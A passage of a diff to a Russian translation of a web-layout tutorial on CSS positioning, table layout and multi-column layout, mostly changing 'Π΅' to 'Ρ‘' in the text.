+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄Π°Ρ‘ΠΌ Π½Π°ΡˆΠ΅ΠΌΡƒ срСднСму ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ {{cssxref("position")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>relative</code> β€” сам ΠΏΠΎ сСбС ΠΎΠ½ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚, поэтому ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ добавляСм свойства {{cssxref("top")}} ΠΈ {{cssxref("left")}}. Они слуТат для пСрСмСщСния задСйствованного элСмСнта Π²Π½ΠΈΠ· ΠΈ Π²ΠΏΡ€Π°Π²ΠΎ β€” Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ‚ΠΎΠΌΡƒ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅, Π½ΠΎ Π²Π°ΠΌ Π½Π°Π΄ΠΎ Π΄ΡƒΠΌΠ°Ρ‚ΡŒ ΠΎΠ± этом Ρ‚Π°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ элСмСнт отталкиваСтся ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ края, ΠΈ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΎΠ½ пСрСмСщаСтся Π²ΠΏΡ€Π°Π²ΠΎ ΠΈ Π²Π½ΠΈΠ·.</p>
<p>Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ этого ΠΊΠΎΠ΄Π° даст ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
@@ -418,7 +418,7 @@ p {
<h3 id="Absolute_positioning">Absolute positioning</h3>
-<p>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ (Absolute) ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ элСмСнт ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ смСщСниС ΠΎΡ‚ ΠΊΡ€Π°Π΅Π² содСрТащСго Π±Π»ΠΎΠΊΠ°.</p>
+<p>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ (Absolute) ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ элСмСнт ΠΈΠ· Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ° ΠΈ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ смСщСниС ΠΎΡ‚ ΠΊΡ€Π°Ρ‘Π² содСрТащСго Π±Π»ΠΎΠΊΠ°.</p>
<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡΡΡŒ ΠΊ Π½Π°ΡˆΠ΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Π±Π΅Π· позиционирования, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ CSS ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅:</p>
@@ -428,7 +428,7 @@ p {
left: 30px;
}</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄Π°Π΅ΠΌ Π½Π°ΡˆΠ΅ΠΌΡƒ срСднСму ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ {{cssxref("position")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>absolute</code>, ΠΈ всС Ρ‚Π΅ ΠΆΠ΅ свойства {{cssxref("top")}} ΠΈ {{cssxref("left")}} ΠΊΠ°ΠΊ Ρ€Π°Π½Π΅Π΅. Однако, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ этого ΠΊΠΎΠ΄Π° даст ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ Π΄Π°Ρ‘ΠΌ Π½Π°ΡˆΠ΅ΠΌΡƒ срСднСму ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρƒ {{cssxref("position")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>absolute</code>, ΠΈ всС Ρ‚Π΅ ΠΆΠ΅ свойства {{cssxref("top")}} ΠΈ {{cssxref("left")}} ΠΊΠ°ΠΊ Ρ€Π°Π½Π΅Π΅. Однако, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ этого ΠΊΠΎΠ΄Π° даст ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
<div id="Absolute_1">
<div class="hidden">
@@ -470,7 +470,7 @@ p {
<h3 id="Fixed_positioning">Fixed positioning</h3>
-<p>ЀиксированноС (Fixed) ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ удаляСт наш элСмСнт ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Однако, вмСсто смСщСния примСняСмого ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΎΠ½ΠΎ примСняСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ элСмСнт остаСтся зафиксированным ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ эффСкты ΠΊΠ°ΠΊ мСню, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ остаСтся зафиксированным ΠΏΠΎΠΊΠ° страница прокручиваСтся ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
+<p>ЀиксированноС (Fixed) ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ удаляСт наш элСмСнт ΠΈΠ· ΠΏΠΎΡ‚ΠΎΠΊΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅. Однако, вмСсто смСщСния примСняСмого ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΎΠ½ΠΎ примСняСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ элСмСнт остаётся зафиксированным ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΠΊΠ½Π° просмотра, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ эффСкты ΠΊΠ°ΠΊ мСню, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ остаётся зафиксированным ΠΏΠΎΠΊΠ° страница прокручиваСтся ΠΏΠΎΠ΄ Π½ΠΈΠΌ.</p>
<p>Для этого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° наш HTML это Ρ‚Ρ€ΠΈ ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π° тСкста для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ страницу ΠΈ Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΌΡ‹ Π΄Π°Π΄ΠΈΠΌ <code>position: fixed</code>.</p>
@@ -524,7 +524,7 @@ p {
<h3 id="Sticky_positioning">Sticky positioning</h3>
-<p>Π›ΠΈΠΏΠΊΠΎΠ΅ (Sticky) ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅Β β€” это послСдний Ρ‚ΠΈΠΏ позиционирования ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π² нашСм распоряТСнии. Π­Ρ‚ΠΎ микс Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ³ΠΎ статичСского позиционирования с фиксированным ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ. ΠΊΠΎΠ³Π΄Π° элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ <code>position: sticky</code> ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠΊΠ½Π° просмотра ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π·Π°Π΄Π°Π»ΠΈ. Π‘ этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° ΠΎΠ½ (элСмСнт) "ΠΏΡ€ΠΈΠ»ΠΈΠΏΠ°Π΅Ρ‚", ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ <code>position: fixed</code>.</p>
+<p>Π›ΠΈΠΏΠΊΠΎΠ΅ (Sticky) ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅Β β€” это послСдний Ρ‚ΠΈΠΏ позиционирования ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΡ‹ ΠΈΠΌΠ΅Π΅ΠΌ Π² нашСм распоряТСнии. Π­Ρ‚ΠΎ микс Π΄Π΅Ρ„ΠΎΠ»Ρ‚Π½ΠΎΠ³ΠΎ статичСского позиционирования с фиксированным ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ. ΠΊΠΎΠ³Π΄Π° элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ <code>position: sticky</code> ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΏΠΎΠΊΠ° Π½Π΅ достигнСт Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ΠΎΠΊΠ½Π° просмотра ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Π·Π°Π΄Π°Π»ΠΈ. Π‘ этого ΠΌΠΎΠΌΠ΅Π½Ρ‚Π° ΠΎΠ½ (элСмСнт) "ΠΏΡ€ΠΈΠ»ΠΈΠΏΠ°Π΅Ρ‚", ΠΊΠ°ΠΊ Ссли Π±Ρ‹ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ <code>position: fixed</code>.</p>
<div id="Sticky_1">
<div class="hidden">
@@ -569,13 +569,13 @@ p {
<h2 id="ΠœΠ°ΠΊΠ΅Ρ‚_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹">ΠœΠ°ΠΊΠ΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</h2>
-<p>HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΈ для отобраТСния Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄ β€” Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΒ Π΄Π°ΠΆΠ΅ <span class="tlid-translation translation" lang="ru"><span title="">Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ CSS</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π½Π°Π΄Π΅ΠΆΠ½ΠΎ</span></span> поддСрТивался <span class="tlid-translation translation" lang="ru"><span title="">Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…Β </span></span>β€” Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Ρ‚Π°ΠΊΠΆΠ΅ использовали Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ всСй Π²Π΅Π±-страницы β€” размСщая свои Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π½ΠΈΠΆΠ½ΠΈΠ΅ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Ρ‹, Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΠΈ Ρ‚.Π΄. Π² Ρ€Π°Π·Π½Ρ‹Ρ… строках ΠΈ столбцах Ρ‚Π°Π±Π»ΠΈΡ†. Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Π² Ρ‚ΠΎ врСмя, Π½ΠΎ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ β€” Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° Ρ‚Π°Π±Π»ΠΈΡ† Π½Π΅ гибкая, ΠΎΡ‡Π΅Π½ΡŒ тяТСлая Π² вСрсткС, слоТна Π² ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅, ΠΈ сСмантичСски Π½Π΅ вСрная. (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ скринридСров ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠ΅ΠΉ Π² Ρ‚Π°Π±Π»ΠΈΡ‡Π½ΠΎΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅).</p>
+<p>HTML Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΈ для отобраТСния Ρ‚Π°Π±Π»ΠΈΡ‡Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Ρ‚ Π½Π°Π·Π°Π΄ β€” Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊΒ Π΄Π°ΠΆΠ΅ <span class="tlid-translation translation" lang="ru"><span title="">Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ CSS</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎ</span></span> поддСрТивался <span class="tlid-translation translation" lang="ru"><span title="">Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…Β </span></span>β€” Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Ρ‚Π°ΠΊΠΆΠ΅ использовали Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ всСй Π²Π΅Π±-страницы β€” размСщая свои Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Π½ΠΈΠΆΠ½ΠΈΠ΅ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Ρ‹, Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ ΠΈ Ρ‚.Π΄. Π² Ρ€Π°Π·Π½Ρ‹Ρ… строках ΠΈ столбцах Ρ‚Π°Π±Π»ΠΈΡ†. Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ Π² Ρ‚ΠΎ врСмя, Π½ΠΎ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ β€” Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° Ρ‚Π°Π±Π»ΠΈΡ† Π½Π΅ гибкая, ΠΎΡ‡Π΅Π½ΡŒ тяТёлая Π² вёрсткС, слоТна Π² ΠΎΡ‚Π»Π°Π΄ΠΊΠ΅, ΠΈ сСмантичСски Π½Π΅ вСрная. (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ скринридСров ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠ΅ΠΉ Π² Ρ‚Π°Π±Π»ΠΈΡ‡Π½ΠΎΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅).</p>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π’ΠΎ, ΠΊΠ°ΠΊ Ρ‚Π°Π±Π»ΠΈΡ†Π° выглядит Π½Π° Π²Π΅Π±-страницС ΠΏΡ€ΠΈ использовании Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, обусловлСно Π½Π°Π±ΠΎΡ€ΠΎΠΌ свойств CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΌΠ°ΠΊΠ΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΈ свойства ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для размСщСния элСмСнтов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚Π°Π±Π»ΠΈΡ†Π°ΠΌΠΈ, использованиС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ½ΠΎΠ³Π΄Π° описываСтся ΠΊΠ°ΠΊ «использованиС CSS Ρ‚Π°Π±Π»ΠΈΡ†Β».</span></span></p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ использованиС; использованиС CSS Ρ‚Π°Π±Π»ΠΈΡ† для вСрстки Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, для Ρ‚Π΅Ρ… ситуаций, ΠΊΠΎΠ³Π΄Π° Ρƒ вас старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±Π΅Π· ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Flexbox ΠΈΠ»ΠΈ Grid.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ использованиС; использованиС CSS Ρ‚Π°Π±Π»ΠΈΡ† для вёрстки Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, для Ρ‚Π΅Ρ… ситуаций, ΠΊΠΎΠ³Π΄Π° Ρƒ вас старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±Π΅Π· ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Flexbox ΠΈΠ»ΠΈ Grid.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ простой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, которая создаСт HTML Ρ„ΠΎΡ€ΠΌΡƒ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ input элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ label, ΠΈ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ описаниС Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„. каТдая ΠΏΠ°Ρ€Π° label/input ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Π° Π² {{htmlelement("div")}}, для Ρ†Π΅Π»Π΅ΠΉ вСрстки.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ взглянСм Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€. Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ простой Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, которая создаёт HTML Ρ„ΠΎΡ€ΠΌΡƒ. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ input элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ label, ΠΈ ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ описаниС Π² ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„. каТдая ΠΏΠ°Ρ€Π° label/input ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Π° Π² {{htmlelement("div")}}, для Ρ†Π΅Π»Π΅ΠΉ вСрстки.</p>
<pre class="brush: html notranslate">&lt;form&gt;
&lt;p&gt;First of all, tell us your name and age.&lt;/p&gt;
@@ -633,7 +633,7 @@ form p {
font-style: italic;
}</pre>
-<p>Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
+<p>Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚:</p>
<p>{{ EmbedLiveSample('ΠœΠ°ΠΊΠ΅Ρ‚_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹', '100%', '170') }}</p>
@@ -641,7 +641,7 @@ form p {
<h2 id="ΠœΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ_ΠΌΠ°ΠΊΠ΅Ρ‚">ΠœΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚</h2>
-<p>ΠœΠΎΠ΄ΡƒΠ»ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° (multi-column layout) Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ способ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² столбцах, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ тСкст располагаСтся Π² Π³Π°Π·Π΅Ρ‚Π΅. Π₯ΠΎΡ‚ΡŒ ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ <span class="tlid-translation translation" lang="ru"><span title="">столбцов Π²Π²Π΅Ρ€Ρ… 